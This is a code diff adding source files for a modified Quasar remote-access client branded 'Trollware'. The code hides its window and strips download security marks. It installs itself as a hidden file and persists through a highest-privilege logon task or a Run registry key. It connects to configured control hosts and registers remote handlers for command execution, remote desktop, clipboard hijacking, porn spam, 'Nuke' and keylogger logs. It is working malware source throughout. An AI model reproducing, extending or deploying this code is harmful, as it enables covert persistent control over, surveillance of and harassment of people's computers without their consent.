<Platforms>AnyCPU</Platforms>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
|
||||||
|
<OutputPath>..\bin\Debug\</OutputPath>
|
||||||
|
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||||
|
<DebugType>portable</DebugType>
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
|
||||||
|
<DebugType>none</DebugType>
|
||||||
|
<OutputPath>..\bin\Release\</OutputPath>
|
||||||
|
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<StartupObject>Quasar.Client.Program</StartupObject>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<ApplicationManifest>app.manifest</ApplicationManifest>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="System.Management" />
|
||||||
|
<Reference Include="System.Security" />
|
||||||
|
<Reference Include="System.Speech" />
|
||||||
|
<Reference Include="System.Web" />
|
||||||
|
<Reference Include="System.Windows.Forms" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<EmbeddedResource Update="Properties\Resources.resx">
|
||||||
|
<Generator>ResXFileCodeGenerator</Generator>
|
||||||
|
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||||
|
<SubType>Designer</SubType>
|
||||||
|
</EmbeddedResource>
|
||||||
|
<Compile Update="Properties\Resources.Designer.cs">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Resources.resx</DependentUpon>
|
||||||
|
<DesignTime>True</DesignTime>
|
||||||
|
</Compile>
|
||||||
|
<None Update="Properties\Settings.settings">
|
||||||
|
<Generator>SettingsSingleFileGenerator</Generator>
|
||||||
|
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
||||||
|
</None>
|
||||||
|
<Compile Update="Properties\Settings.Designer.cs">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Settings.settings</DependentUpon>
|
||||||
|
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||||
|
</Compile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ProjectReference Include="..\Quasar.Common\Quasar.Common.csproj" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<PackageReference Include="AForge">
|
||||||
|
<Version>2.2.5</Version>
|
||||||
|
</PackageReference>
|
||||||
|
<PackageReference Include="AForge.Video">
|
||||||
|
<Version>2.2.5</Version>
|
||||||
|
</PackageReference>
|
||||||
|
<PackageReference Include="AForge.Video.DirectShow">
|
||||||
|
<Version>2.2.5</Version>
|
||||||
|
</PackageReference>
|
||||||
|
<PackageReference Include="ILRepack.Lib.MSBuild.Task">
|
||||||
|
<Version>2.0.18.2</Version>
|
||||||
|
</PackageReference>
|
||||||
|
<PackageReference Include="MouseKeyHook">
|
||||||
|
<Version>5.6.0</Version>
|
||||||
|
</PackageReference>
|
||||||
|
<PackageReference Include="protobuf-net">
|
||||||
|
<Version>2.4.8</Version>
|
||||||
|
</PackageReference>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,242 @@
|
|||||||
|
using Quasar.Client.Config;
|
||||||
|
using Quasar.Client.Messages;
|
||||||
|
using Quasar.Client.Networking;
|
||||||
|
using Quasar.Client.Setup;
|
||||||
|
using Quasar.Client.User;
|
||||||
|
using Quasar.Client.Utilities;
|
||||||
|
using Quasar.Common.DNS;
|
||||||
|
using Quasar.Common.Helpers;
|
||||||
|
using Quasar.Common.Messages;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The client application which handles basic bootstrapping of the message processors and background tasks.
|
||||||
|
/// </summary>
|
||||||
|
public class QuasarApplication : Form
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// A system-wide mutex that ensures that only one instance runs at a time.
|
||||||
|
/// </summary>
|
||||||
|
public SingleInstanceMutex ApplicationMutex;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The client used for the connection to the server.
|
||||||
|
/// </summary>
|
||||||
|
private QuasarClient _connectClient;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
|
||||||
|
/// </summary>
|
||||||
|
private readonly List<IMessageProcessor> _messageProcessors;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Keeps track of the user activity.
|
||||||
|
/// </summary>
|
||||||
|
private ActivityDetection _userActivityDetection;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines whether an installation is required depending on the current and target paths.
|
||||||
|
/// </summary>
|
||||||
|
private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Notification icon used to show notifications in the taskbar.
|
||||||
|
/// </summary>
|
||||||
|
private readonly NotifyIcon _notifyIcon;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of the <see cref="QuasarApplication"/> class.
|
||||||
|
/// </summary>
|
||||||
|
public QuasarApplication()
|
||||||
|
{
|
||||||
|
_messageProcessors = new List<IMessageProcessor>();
|
||||||
|
_notifyIcon = new NotifyIcon();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Starts the application.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="e">An System.EventArgs that contains the event data.</param>
|
||||||
|
protected override void OnLoad(EventArgs e)
|
||||||
|
{
|
||||||
|
Visible = false;
|
||||||
|
ShowInTaskbar = false;
|
||||||
|
Run();
|
||||||
|
base.OnLoad(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes the notification icon.
|
||||||
|
/// </summary>
|
||||||
|
private void InitializeNotifyicon()
|
||||||
|
{
|
||||||
|
_notifyIcon.Text = "Trollware\nNo connection";
|
||||||
|
_notifyIcon.Visible = true;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
_notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(ex);
|
||||||
|
_notifyIcon.Icon = SystemIcons.Application;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Begins running the application.
|
||||||
|
/// </summary>
|
||||||
|
public void Run()
|
||||||
|
{
|
||||||
|
// decrypt and verify the settings
|
||||||
|
if (!Settings.Initialize())
|
||||||
|
Environment.Exit(1);
|
||||||
|
|
||||||
|
ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
|
||||||
|
|
||||||
|
// check if process with same mutex is already running on system
|
||||||
|
if (!ApplicationMutex.CreatedNew)
|
||||||
|
Environment.Exit(2);
|
||||||
|
|
||||||
|
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
|
||||||
|
|
||||||
|
var installer = new ClientInstaller();
|
||||||
|
|
||||||
|
if (IsInstallationRequired)
|
||||||
|
{
|
||||||
|
// close mutex before installing the client
|
||||||
|
ApplicationMutex.Dispose();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
installer.Install();
|
||||||
|
Environment.Exit(3);
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// (re)apply settings and proceed with connect loop
|
||||||
|
installer.ApplySettings();
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!Settings.UNATTENDEDMODE)
|
||||||
|
InitializeNotifyicon();
|
||||||
|
|
||||||
|
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
|
||||||
|
_connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
|
||||||
|
_connectClient.ClientState += ConnectClientOnClientState;
|
||||||
|
InitializeMessageProcessors(_connectClient);
|
||||||
|
|
||||||
|
_userActivityDetection = new ActivityDetection(_connectClient);
|
||||||
|
_userActivityDetection.Start();
|
||||||
|
|
||||||
|
new Thread(() =>
|
||||||
|
{
|
||||||
|
// Start connection loop on new thread and dispose application once client exits.
|
||||||
|
// This is required to keep the UI thread responsive and run the message loop.
|
||||||
|
_connectClient.ConnectLoop();
|
||||||
|
Environment.Exit(0);
|
||||||
|
}).Start();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ConnectClientOnClientState(Networking.Client s, bool connected)
|
||||||
|
{
|
||||||
|
if (connected)
|
||||||
|
_notifyIcon.Text = "Trollware\nConnection established";
|
||||||
|
else
|
||||||
|
_notifyIcon.Text = "Trollware\nNo connection";
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="client">The client which handles the connection.</param>
|
||||||
|
/// <remarks>Always initialize from UI thread.</remarks>
|
||||||
|
private void InitializeMessageProcessors(QuasarClient client)
|
||||||
|
{
|
||||||
|
_messageProcessors.Add(new ExecutionHandler());
|
||||||
|
_messageProcessors.Add(new BeepSpamHandler());
|
||||||
|
_messageProcessors.Add(new DrunkModeHandler());
|
||||||
|
_messageProcessors.Add(new FartScrollHandler());
|
||||||
|
_messageProcessors.Add(new NukeHandler());
|
||||||
|
_messageProcessors.Add(new PianoHandler());
|
||||||
|
_messageProcessors.Add(new ClientServicesHandler(this, client));
|
||||||
|
_messageProcessors.Add(new ClipboardHijackHandler());
|
||||||
|
_messageProcessors.Add(new ColorInvertHandler());
|
||||||
|
_messageProcessors.Add(new CursorChaosHandler());
|
||||||
|
_messageProcessors.Add(new EyesHandler());
|
||||||
|
_messageProcessors.Add(new GhostTypingHandler());
|
||||||
|
_messageProcessors.Add(new JumpscareHandler());
|
||||||
|
_messageProcessors.Add(new MessageBoxHandler());
|
||||||
|
_messageProcessors.Add(new PornSpamHandler());
|
||||||
|
_messageProcessors.Add(new RemoteDesktopHandler());
|
||||||
|
_messageProcessors.Add(new SchizophreniaHandler());
|
||||||
|
_messageProcessors.Add(new TextToSpeechHandler());
|
||||||
|
_messageProcessors.Add(new TrollExtrasHandler());
|
||||||
|
_messageProcessors.Add(new WebsiteVisitorHandler());
|
||||||
|
|
||||||
|
foreach (var msgProc in _messageProcessors)
|
||||||
|
{
|
||||||
|
MessageHandler.Register(msgProc);
|
||||||
|
if (msgProc is NotificationMessageProcessor notifyMsgProc)
|
||||||
|
notifyMsgProc.ProgressChanged += ShowNotification;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disposes all message processors of <see cref="_messageProcessors"/> and unregisters them from the <see cref="MessageHandler"/>.
|
||||||
|
/// </summary>
|
||||||
|
private void CleanupMessageProcessors()
|
||||||
|
{
|
||||||
|
foreach (var msgProc in _messageProcessors)
|
||||||
|
{
|
||||||
|
MessageHandler.Unregister(msgProc);
|
||||||
|
if (msgProc is NotificationMessageProcessor notifyMsgProc)
|
||||||
|
notifyMsgProc.ProgressChanged -= ShowNotification;
|
||||||
|
if (msgProc is IDisposable disposableMsgProc)
|
||||||
|
disposableMsgProc.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ShowNotification(object sender, string value)
|
||||||
|
{
|
||||||
|
if (Settings.UNATTENDEDMODE)
|
||||||
|
return;
|
||||||
|
|
||||||
|
_notifyIcon.ShowBalloonTip(4000, "Trollware", value, ToolTipIcon.Info);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected override void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing)
|
||||||
|
{
|
||||||
|
CleanupMessageProcessors();
|
||||||
|
_userActivityDetection?.Dispose();
|
||||||
|
ApplicationMutex?.Dispose();
|
||||||
|
_connectClient?.Dispose();
|
||||||
|
_notifyIcon.Visible = false;
|
||||||
|
_notifyIcon.Dispose();
|
||||||
|
}
|
||||||
|
base.Dispose(disposing);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
using Quasar.Client.Config;
|
||||||
|
using Quasar.Common.Helpers;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Setup
|
||||||
|
{
|
||||||
|
public class ClientInstaller : ClientSetupBase
|
||||||
|
{
|
||||||
|
public void ApplySettings()
|
||||||
|
{
|
||||||
|
if (Settings.STARTUP)
|
||||||
|
{
|
||||||
|
var clientStartup = new ClientStartup();
|
||||||
|
clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Settings.INSTALL && Settings.HIDEFILE)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||||
|
di.Attributes |= FileAttributes.Hidden;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Install()
|
||||||
|
{
|
||||||
|
// create target dir
|
||||||
|
if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
|
||||||
|
{
|
||||||
|
Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||||
|
}
|
||||||
|
|
||||||
|
// delete existing file
|
||||||
|
if (File.Exists(Settings.INSTALLPATH))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File.Delete(Settings.INSTALLPATH);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
if (ex is IOException || ex is UnauthorizedAccessException)
|
||||||
|
{
|
||||||
|
// kill old process running at destination path
|
||||||
|
Process[] foundProcesses =
|
||||||
|
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH));
|
||||||
|
int myPid = Process.GetCurrentProcess().Id;
|
||||||
|
foreach (var prc in foundProcesses)
|
||||||
|
{
|
||||||
|
// dont kill own process
|
||||||
|
if (prc.Id == myPid) continue;
|
||||||
|
// only kill the process at the destination path
|
||||||
|
if (prc.MainModule?.FileName != Settings.INSTALLPATH) continue;
|
||||||
|
prc.Kill();
|
||||||
|
Thread.Sleep(2000);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
|
||||||
|
|
||||||
|
ApplySettings();
|
||||||
|
|
||||||
|
FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH);
|
||||||
|
|
||||||
|
//start file
|
||||||
|
var startInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
CreateNoWindow = true,
|
||||||
|
UseShellExecute = false,
|
||||||
|
FileName = Settings.INSTALLPATH
|
||||||
|
};
|
||||||
|
Process.Start(startInfo);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
using Quasar.Client.User;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Setup
|
||||||
|
{
|
||||||
|
public abstract class ClientSetupBase
|
||||||
|
{
|
||||||
|
protected UserAccount UserAccount;
|
||||||
|
|
||||||
|
protected ClientSetupBase()
|
||||||
|
{
|
||||||
|
UserAccount = new UserAccount();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
using Microsoft.Win32;
|
||||||
|
using Quasar.Client.Helper;
|
||||||
|
using Quasar.Common.Enums;
|
||||||
|
using System.Diagnostics;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Setup
|
||||||
|
{
|
||||||
|
public class ClientStartup : ClientSetupBase
|
||||||
|
{
|
||||||
|
public void AddToStartup(string executablePath, string startupName)
|
||||||
|
{
|
||||||
|
if (UserAccount.Type == AccountType.Admin)
|
||||||
|
{
|
||||||
|
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||||
|
{
|
||||||
|
Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
|
||||||
|
"\" /rl HIGHEST /f",
|
||||||
|
UseShellExecute = false,
|
||||||
|
CreateNoWindow = true
|
||||||
|
};
|
||||||
|
|
||||||
|
Process p = Process.Start(startInfo);
|
||||||
|
p.WaitForExit(1000);
|
||||||
|
if (p.ExitCode == 0) return;
|
||||||
|
}
|
||||||
|
|
||||||
|
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||||
|
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
|
||||||
|
true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void RemoveFromStartup(string startupName)
|
||||||
|
{
|
||||||
|
if (UserAccount.Type == AccountType.Admin)
|
||||||
|
{
|
||||||
|
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||||
|
{
|
||||||
|
Arguments = "/delete /tn \"" + startupName + "\" /f",
|
||||||
|
UseShellExecute = false,
|
||||||
|
CreateNoWindow = true
|
||||||
|
};
|
||||||
|
|
||||||
|
Process p = Process.Start(startInfo);
|
||||||
|
p.WaitForExit(1000);
|
||||||
|
if (p.ExitCode == 0) return;
|
||||||
|
}
|
||||||
|
|
||||||
|
RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||||
|
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
using Quasar.Client.Config;
|
||||||
|
using Quasar.Client.IO;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Setup
|
||||||
|
{
|
||||||
|
public class ClientUninstaller : ClientSetupBase
|
||||||
|
{
|
||||||
|
public void Uninstall()
|
||||||
|
{
|
||||||
|
if (Settings.STARTUP)
|
||||||
|
{
|
||||||
|
var clientStartup = new ClientStartup();
|
||||||
|
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH))
|
||||||
|
{
|
||||||
|
// this must match the keylogger log files
|
||||||
|
Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$");
|
||||||
|
|
||||||
|
foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly)
|
||||||
|
.Where(path => reg.IsMatch(Path.GetFileName(path))).ToList())
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File.Delete(logFile);
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
// no important exception
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath);
|
||||||
|
|
||||||
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
UseShellExecute = true,
|
||||||
|
FileName = batchFile
|
||||||
|
};
|
||||||
|
Process.Start(startInfo);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
using Quasar.Client.Config;
|
||||||
|
using Quasar.Client.IO;
|
||||||
|
using Quasar.Common.Helpers;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Setup
|
||||||
|
{
|
||||||
|
public class ClientUpdater : ClientSetupBase
|
||||||
|
{
|
||||||
|
public void Update(string newFilePath)
|
||||||
|
{
|
||||||
|
FileHelper.DeleteZoneIdentifier(newFilePath);
|
||||||
|
|
||||||
|
var bytes = File.ReadAllBytes(newFilePath);
|
||||||
|
if (!FileHelper.HasExecutableIdentifier(bytes))
|
||||||
|
throw new Exception("No executable file.");
|
||||||
|
|
||||||
|
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
||||||
|
|
||||||
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
UseShellExecute = true,
|
||||||
|
FileName = batchFile
|
||||||
|
};
|
||||||
|
Process.Start(startInfo);
|
||||||
|
|
||||||
|
if (Settings.STARTUP)
|
||||||
|
{
|
||||||
|
var clientStartup = new ClientStartup();
|
||||||
|
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
using Quasar.Client.Helper;
|
||||||
|
using Quasar.Client.Networking;
|
||||||
|
using Quasar.Common.Enums;
|
||||||
|
using Quasar.Common.Messages;
|
||||||
|
using System;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.User
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Provides user activity detection and sends <see cref="SetUserStatus"/> messages on change.
|
||||||
|
/// </summary>
|
||||||
|
public class ActivityDetection : IDisposable
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Stores the last user status to detect changes.
|
||||||
|
/// </summary>
|
||||||
|
private UserStatus _lastUserStatus;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The client to use for communication with the server.
|
||||||
|
/// </summary>
|
||||||
|
private readonly QuasarClient _client;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a <see cref="_token"/> and signals cancellation.
|
||||||
|
/// </summary>
|
||||||
|
private readonly CancellationTokenSource _tokenSource;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The token to check for cancellation.
|
||||||
|
/// </summary>
|
||||||
|
private readonly CancellationToken _token;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of <see cref="ActivityDetection"/> using the given client.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="client">The name of the mutex.</param>
|
||||||
|
public ActivityDetection(QuasarClient client)
|
||||||
|
{
|
||||||
|
_client = client;
|
||||||
|
_tokenSource = new CancellationTokenSource();
|
||||||
|
_token = _tokenSource.Token;
|
||||||
|
client.ClientState += OnClientStateChange;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void OnClientStateChange(Networking.Client s, bool connected)
|
||||||
|
{
|
||||||
|
// reset user status
|
||||||
|
if (connected)
|
||||||
|
_lastUserStatus = UserStatus.Active;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Starts the user activity detection.
|
||||||
|
/// </summary>
|
||||||
|
public void Start()
|
||||||
|
{
|
||||||
|
new Thread(UserActivityThread).Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
|
||||||
|
/// </summary>
|
||||||
|
private void UserActivityThread()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (IsUserIdle())
|
||||||
|
{
|
||||||
|
if (_lastUserStatus != UserStatus.Idle)
|
||||||
|
{
|
||||||
|
_lastUserStatus = UserStatus.Idle;
|
||||||
|
_client.Send(new SetUserStatus { Message = _lastUserStatus });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (_lastUserStatus != UserStatus.Active)
|
||||||
|
{
|
||||||
|
_lastUserStatus = UserStatus.Active;
|
||||||
|
_client.Send(new SetUserStatus { Message = _lastUserStatus });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines whether the user is idle if the last user input was more than 10 minutes ago.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns><c>True</c> if the user is idle, else <c>false</c>.</returns>
|
||||||
|
private bool IsUserIdle()
|
||||||
|
{
|
||||||
|
var ticks = Environment.TickCount;
|
||||||
|
|
||||||
|
var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount();
|
||||||
|
|
||||||
|
idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0);
|
||||||
|
|
||||||
|
return (idleTime > 600); // idle for 10 minutes
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||||
|
/// </summary>
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
Dispose(true);
|
||||||
|
GC.SuppressFinalize(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected virtual void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing)
|
||||||
|
{
|
||||||
|
_client.ClientState -= OnClientStateChange;
|
||||||
|
_tokenSource.Cancel();
|
||||||
|
_tokenSource.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
using Quasar.Common.Enums;
|
||||||
|
using System;
|
||||||
|
using System.Security.Principal;
|
||||||
|
|
||||||
|
namespace Quasar.Client.User
|
||||||
|
{
|
||||||
|
public class UserAccount
|
||||||
|
{
|
||||||
|
public string UserName { get; }
|
||||||
|
|
||||||
|
public AccountType Type { get; }
|
||||||
|
|
||||||
|
public UserAccount()
|
||||||
|
{
|
||||||
|
UserName = Environment.UserName;
|
||||||
|
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
|
||||||
|
{
|
||||||
|
WindowsPrincipal principal = new WindowsPrincipal(identity);
|
||||||
|
|
||||||
|
if (principal.IsInRole(WindowsBuiltInRole.Administrator))
|
||||||
|
{
|
||||||
|
Type = AccountType.Admin;
|
||||||
|
}
|
||||||
|
else if (principal.IsInRole(WindowsBuiltInRole.User))
|
||||||
|
{
|
||||||
|
Type = AccountType.User;
|
||||||
|
}
|
||||||
|
else if (principal.IsInRole(WindowsBuiltInRole.Guest))
|
||||||
|
{
|
||||||
|
Type = AccountType.Guest;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Type = AccountType.Unknown;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,219 @@
|
|||||||
|
using System;
|
||||||
|
using System.Net;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Utilities
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Provides access to the Win32 API.
|
||||||
|
/// </summary>
|
||||||
|
public static class NativeMethods
|
||||||
|
{
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct LASTINPUTINFO
|
||||||
|
{
|
||||||
|
public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO));
|
||||||
|
[MarshalAs(UnmanagedType.U4)] public UInt32 cbSize;
|
||||||
|
[MarshalAs(UnmanagedType.U4)] public UInt32 dwTime;
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||||
|
internal static extern IntPtr LoadLibrary(string lpFileName);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
